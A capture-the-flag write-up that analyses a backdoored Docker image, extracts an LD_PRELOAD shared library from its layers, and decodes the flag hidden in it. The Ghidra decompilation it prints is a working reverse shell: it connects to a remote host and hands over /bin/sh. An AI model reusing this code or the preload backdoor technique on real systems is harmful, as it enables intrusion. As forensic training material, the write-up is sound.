Peel Back The Layers
4 minutes to read
We have this description for the challenge:
A well known hacker rival of ours, managed to gain access to our dockehub profile and insert a backdoor to one of our public docker images in order to distribute his malware and fullfil his soul purpose, which is to destroy our steampunk robot using his steam malware. When we started tracing him back he deleted his backdoor. Can you help us retrieve his backdoor? Docker Image:
steammaintainer/gearrepairimage
Docker image inspection
The Docker image is available in dockerhub:
Here we can see that there are some layers with different commands, environment variables and files:
This challenge reminded me to a part of Bolt machine. We will probably need to pull the Docker image and inspect the layers. Let’s start:
$ docker pull steammaintainer/gearrepairimage:latest
latest: Pulling from steammaintainer/gearrepairimage
7b1a6ab2e44d: Pull complete
858929a69ddb: Pull complete
97239c492e4d: Pull complete
Digest: sha256:10d7e659f8d2bc2abcc4ef52d6d7caf026d0881efcffe016e120a65b26a87e7b
Status: Downloaded newer image for steammaintainer/gearrepairimage:latest
docker.io/steammaintainer/gearrepairimage:latest
Now, we need to save the image to a TAR archive:
$ docker image save steammaintainer/gearrepairimage -o image.tar
$ file image.tar
image.tar: POSIX tar archive
$ 7z l image.tar
7-Zip [64] 17.04 : Copyright (c) 1999-2021 Igor Pavlov : 2017-08-28
p7zip Version 17.04 (locale=utf8,Utf16=on,HugeFiles=on,64 bits,8 CPUs LE)
Scanning the drive for archives:
1 file, 75195392 bytes (72 MiB)
Listing archive: image.tar
--
Path = image.tar
Type = tar
Physical Size = 75195392
Headers Size = 8704
Code Page = UTF-8
Date Time Attr Size Compressed Name
------------------- ----- ------------ ------------ ------------------------
2021-11-12 22:41:23 D.... 0 0 06ec107a7c3909292f0730a926f0bf38071c4b930618cb2480e53584f4b60777
2021-11-12 22:41:23 ..... 3 512 06ec107a7c3909292f0730a926f0bf38071c4b930618cb2480e53584f4b60777/VERSION
2021-11-12 22:41:23 ..... 401 512 06ec107a7c3909292f0730a926f0bf38071c4b930618cb2480e53584f4b60777/json
2021-11-12 22:41:23 ..... 75155456 75155456 06ec107a7c3909292f0730a926f0bf38071c4b930618cb2480e53584f4b60777/layer.tar
2021-11-12 22:41:23 ..... 2763 3072 47f41629f1cfcaf8890339a7ffdf6414c0c1417cfa75481831c8710196627d5d.json
2021-11-12 22:41:23 D.... 0 0 7e418781d7dbe3c9982a8f00849d9494404dce6698e8ab6e82068f3f810212ca
2021-11-12 22:41:23 ..... 3 512 7e418781d7dbe3c9982a8f00849d9494404dce6698e8ab6e82068f3f810212ca/VERSION
2021-11-12 22:41:23 ..... 477 512 7e418781d7dbe3c9982a8f00849d9494404dce6698e8ab6e82068f3f810212ca/json
2021-11-12 22:41:23 ..... 20480 20480 7e418781d7dbe3c9982a8f00849d9494404dce6698e8ab6e82068f3f810212ca/layer.tar
2021-11-12 22:41:23 D.... 0 0 9a8e24973203d27297e31bb8932c0d9bdf962092790556f82b2affa1ad0ea102
2021-11-12 22:41:23 ..... 3 512 9a8e24973203d27297e31bb8932c0d9bdf962092790556f82b2affa1ad0ea102/VERSION
2021-11-12 22:41:23 ..... 1288 1536 9a8e24973203d27297e31bb8932c0d9bdf962092790556f82b2affa1ad0ea102/json
2021-11-12 22:41:23 ..... 2560 2560 9a8e24973203d27297e31bb8932c0d9bdf962092790556f82b2affa1ad0ea102/layer.tar
..... 381 512 manifest.json
..... 114 512 repositories
------------------- ----- ------------ ------------ ------------------------
2021-11-12 22:41:23 75183929 75186688 12 files, 3 folders
Layer analysis
If we take a look again at the layers, we will notice that only three of them have a size different to 0 B (layers 1, 4 and 9).
Notice that layer 9 executes rm -rf /usr/share/lib/, which removes all shared libraries (probably malicious ones).
In fact, layer 4 copied a file to /usr/share/lib and layer 5 set LD_PRELOAD=/usr/share/lib/librs.so. This environment variable overrides any default shared library. Therefore, we might want to analyze librs.so.
This shared library must be stored in the second layer:
$ 7z l 7e418781d7dbe3c9982a8f00849d9494404dce6698e8ab6e82068f3f810212ca/layer.tar
7-Zip [64] 17.04 : Copyright (c) 1999-2021 Igor Pavlov : 2017-08-28
p7zip Version 17.04 (locale=utf8,Utf16=on,HugeFiles=on,64 bits,8 CPUs LE)
Scanning the drive for archives:
1 file, 20480 bytes (20 KiB)
Listing archive: 7e418781d7dbe3c9982a8f00849d9494404dce6698e8ab6e82068f3f810212ca/layer.tar
--
Path = 7e418781d7dbe3c9982a8f00849d9494404dce6698e8ab6e82068f3f810212ca/layer.tar
Type = tar
Physical Size = 20480
Headers Size = 3584
Code Page = UTF-8
Date Time Attr Size Compressed Name
------------------- ----- ------------ ------------ ------------------------
2021-10-06 17:47:52 D.... 0 0 usr
2021-11-12 22:40:23 D.... 0 0 usr/share
2021-11-12 22:40:23 D.... 0 0 usr/share/lib
..... 0 0 usr/share/lib/.wh..wh..opq
2021-11-12 22:38:52 ..... 16440 16896 usr/share/lib/librs.so
------------------- ----- ------------ ------------ ------------------------
2021-11-12 22:40:23 16440 16896 2 files, 3 folders
There it is (and also a weird file called .wh..wh..opq, which is empty). Let’s extract them:
$ tar xvf 7e418781d7dbe3c9982a8f00849d9494404dce6698e8ab6e82068f3f810212ca/layer.tar
x usr/
x usr/share/
x usr/share/lib/
x usr/share/lib/.wh..wh..opq
x usr/share/lib/librs.so
$ file usr/share/lib/.wh..wh..opq
usr/share/lib/.wh..wh..opq: empty
$ file usr/share/lib/librs.so
usr/share/lib/librs.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=b6e2da9852ab0b8f7aa409d6c5cf0f3c133b5ed7, not stripped
Shared library analysis
Let’s open Ghidra to analyze the binary (and let’s hope that librs.so does not mean that the shared library is compiled from Rust…).
Luckily, there is only a short function called con:
int con() {
int iVar1;
char *port;
undefined8 local_68;
undefined8 local_60;
undefined8 local_58;
undefined8 local_50;
undefined8 local_48;
undefined local_40;
sockaddr local_38;
int socket_fd;
uint16_t local_1a;
char *host;
__pid_t local_c;
local_c = fork();
if (local_c == 0) {
host = getenv("REMOTE_ADDR");
port = getenv("REMOTE_PORT");
iVar1 = atoi(port);
local_1a = (uint16_t) iVar1;
local_68 = 0x33725f317b425448;
local_60 = 0x6b316c5f796c6c34;
local_58 = 0x706d343374735f33;
local_50 = 0x306230725f6b6e75;
local_48 = 0xd0a7d2121217374;
local_40 = 0;
local_38.sa_family = 2;
local_38.sa_data._2_4_ = inet_addr(host);
local_38.sa_data._0_2_ = htons(local_1a);
socket_fd = socket(2, 1, 0);
connect(socket_fd, &local_38, 0x10);
write(socket_fd, &local_68, 0x29);
dup2(socket_fd, 0);
dup2(socket_fd, 1);
dup2(socket_fd, 2);
execve("/bin/sh", NULL, NULL);
}
return 0;
}
The program just connects to a remote machine and runs a shell over a TCP socket. Plus, the flag is there in hexadecimal numbers.
Flag
We can use pwntools to decode the numbers and capture the flag:
$ python3 -q
>>> from pwn import p64
>>> b''.join(map(p64, [0x33725f317b425448, 0x6b316c5f796c6c34, 0x706d343374735f33, 0x306230725f6b6e75, 0xd0a7d2121217374]))
b'HTB{1_r34lly_l1k3_st34mpunk_r0b0ts!!!}\n\r'